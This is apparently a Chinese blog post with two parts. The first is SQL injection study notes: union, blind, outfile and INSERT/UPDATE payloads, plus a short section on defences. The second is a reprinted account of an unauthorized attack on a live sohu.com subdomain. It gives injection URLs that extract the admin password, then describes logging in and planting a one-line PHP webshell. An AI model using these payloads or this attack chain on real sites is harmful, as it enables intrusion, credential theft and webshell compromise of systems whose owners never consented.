今天從網上學習了有關SQL注入的基本技能。SQL注入的重點就是構造SQL語句，只有靈活的運用SQL
語句才能構造出牛比的注入字符串。學完之後寫了點筆記，已備隨時使用。希望你在看下面內容時先了
解SQL的基本原理。筆記中的代碼來自網絡。
===基礎部分===
本表查詢：
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union聯合語句：
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
導出文件：
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
INSERT語句： INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
構造homepage值為：http://4ngel.net', '3')#
SQL語句變為：INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');
UPDATE語句：我喜歡這樣個東西 先理解這句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式，就實現了注入
1：修改homepage值為
http://4ngel.net', userlevel='3
之後SQL語句變為
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel為用戶級別
2:修改password值為
mypass)' WHERE username='admin'#
之後SQL語句變為
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3：修改id值為
' OR username='admin'
之後SQL語句變為
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
===高級部分=== 常用的MySQL內置函數
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函數應用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相當於angel，十進制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
確定數據結構的字段個數及類型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
猜數據表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
跨表查詢得到用戶名和密碼
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#驗證第一位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入防范===
服務器方面
magic_quotes_gpc設置為On
display_errors設置為Off
編碼方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
數值類型
使用intval()抓換
字符串類型
SQL語句參數中要添加單引號
下面代碼，用於防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函數
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
參考文章：
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL語句參考)
對sohu.com的一次安全檢測
已發表於黑客防線
發布在http://www.loveshell.net
sohu.com是國內一家比較大的門戶網站，提供了包括郵箱在內的很多服務。這麼大的一個網站，不出問題是很難的，俗話說服務越多越不安全嘛!無論是對 於服務器還是網站都是這個道理，最近學習Mysql注入，於是順便就對sohu.com做了一次小小的安全檢測，看看它存不存在SQL注入漏洞。
看看sohu.com的主站發現差不多都是靜態的，於是放棄了在主站上找問題的想法。直接在sohu.com的各個分站上浏覽了一圈後發現，大部分網站采 用的都是Php腳本，也有少數用的是jsp腳本，根據經驗我們知道，對於Php構建的系統，一般後台數據庫都是Mysql，就好象asp對應著Mssql一樣，看來可能存在問題的地方還是很多的。由於Php的特性(Php默認將傳遞的參數中的'等字符做了轉換，所以對於字符類型的變量默認情況下很難注 入)，一般情況下我們注入的只能是數字類型的變量了。根據平時注入的知識，我們知道id=XXX這樣的形式傳遞的參數一般都是數字類型的變量，所以我們只 要去測試那些php?id=XXX的連接就可能找到漏洞了!通過一番仔細的搜索，還真讓我在XXX.it.sohu.com上找到了一個存在問題的連接http://XXX.it.sohu.com/book/serialize.php?id=86
提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
返回正常如圖1。
然後提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
返回沒有信息如圖2，空空的吧，應該是SQL語句結果為空了。
通過這兩個Url我們可以猜測漏洞是存在的，因為我們提交的and 1=1和and 1=2都被當作Sql語句執行啦!那麼我們提交的其他語句也是可以執行的，這就是Sql注入了!我們還可以知道id這個變量是被當作數字處理的，沒有放到 ''之間，否則我們是成功不了的哦!如果變量沒有過濾Sql其他關鍵字的話，我們就很有可能成功啦!我遇到很多的情況都是變量過濾了select，在 mysql裡就是死路了，好郁悶!
既然漏洞是存在的，讓我們繼續吧!首先當然是探測數據庫的類型和連接數據庫的帳戶啦!權限高並且數據庫和web同機器的話可以免除猜測字段的痛苦啦!提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
返回正常如圖3，這個語句是看數據庫的版本是不是高於3的，因為3的ASCII是51嘛!版本的第一個字符是大於51的話當然就是4.0以上啦!4.0以 上是支持union查詢的，這樣就可以免除一位一位猜測的痛苦哦!這裡結果為真，所以數據庫是4.0以上的哦，可以支持union了。
既然支持union查詢就先把這個語句的字段給暴出來吧!以後再用union查詢什麼都是很快的哦!提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
返回結果正常如圖4，看來字段是大於10個的，繼續提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
正常返回，提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
......
到order by 50的時候返回沒有信息了!看來是大於40的小於50的，於是提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
......
終於猜測到字段是41左右啦!這裡說是左右是因為有些字段是不能排序的，所以還需要我們用union精確定位字段數字是41，提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回結果如圖5，哈哈，成功了哦!哪些字段會在頁面顯示也是一目了然了!現在讓我們繼續吧!提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回結果如圖6，完成了數據庫系統的探測哦!我們很有可能不是root，並且數據庫服務器和web也很有可能不是在一台服務器，這樣的話我們就沒有file權限了!提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
返回結果如圖7，沒有對mysql的讀取權限，更加確定權限不是root了!呵呵!
既然不是root，也不要氣餒，讓我們繼續吧!在進一步猜測數據之前我們最好找下後台先，很多時候找到了管理員密碼卻找不到地方登陸，很郁悶的說!在根目 錄下加/admin和/manage/等等後台常用的地址都是返回404錯誤，猜測了幾次終於在/book/目錄下admin的時候出現了403 Forbiden錯誤，哈哈，是存在這個目錄的!但是登陸頁面死活也猜不出來，郁悶中!不過既然知道有個admin也好說，去Google裡搜索：
admin site:sohu.com
如圖8，得到了另外一個分站的論壇，我們知道人是很懶惰的，通常一個地方的後台的特征就很可能是整個網站的特征，所以當我嘗試訪問/book/admin /admuser.php的時候奇跡出現了，如圖9，哈哈，離成功更近了哦!到這裡我們知道了網站的後台，其實我們還可以得到很重要的信息，查看原文件發 現登陸表單的名字是name和password，很容易推測出對方管理員表中的結構，即使不符合估計也差不多，呵呵!所以知道為什麼我們要先猜測後台了 吧!繼續注入吧!提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
返回錯誤，說明不存在admin這個表，嘗試admins以及admin_user等等，最後提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
的時候返回成功，哈哈!有User這個表!那麼是不是管理員表呢?字段又是什麼呢?繼續提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回空信息的錯誤，提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回結果如圖10，哈哈正常返回並且出來了一個密碼，應該是管理員表裡第一個用戶的密碼!那麼他的用戶名字是什麼呢?猜測很多字段都是返回錯誤，實在沒有辦法的時候輸入一個ID，居然返回成功了!ID就是管理員的名字哦!提交：
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回結果如圖11，哈哈，得到管理員的名字了哦!激動地拿著管理員名字和密碼去後台登陸成功了哦!如圖12。現在是想想怎麼拿webshell的時候了， 在後台發現有上傳圖片的地方，但是當上傳php文件的時候提示說不是圖片文件，郁悶了!在後台仔細的亂七八糟的亂翻了會，發現有個生成php文件的功能， 於是在裡面插入了一句話的php後門，如圖13，點生成之後提示成功了，看來如果沒有過濾的話我們應該是得到webshell了，密碼是a，用一句 話後門連上去如圖14，哈哈，成功了!腳本檢測到此圓滿完成!
在得到webshell之後我上服務器上看了看，發現服務器的安全是做得不錯，執行不了命令，並且基本上所有的目錄除了我們剛才上傳的目錄之外都是不可寫 的，不過作為腳本測試，得到了webshell也就算成功了吧!也可以看出，小小的一個參數沒有過濾就可以導致網站的淪陷，特別是像sohu.com這樣 的大站，參數更多，更加要注意過濾方面的問題哦!
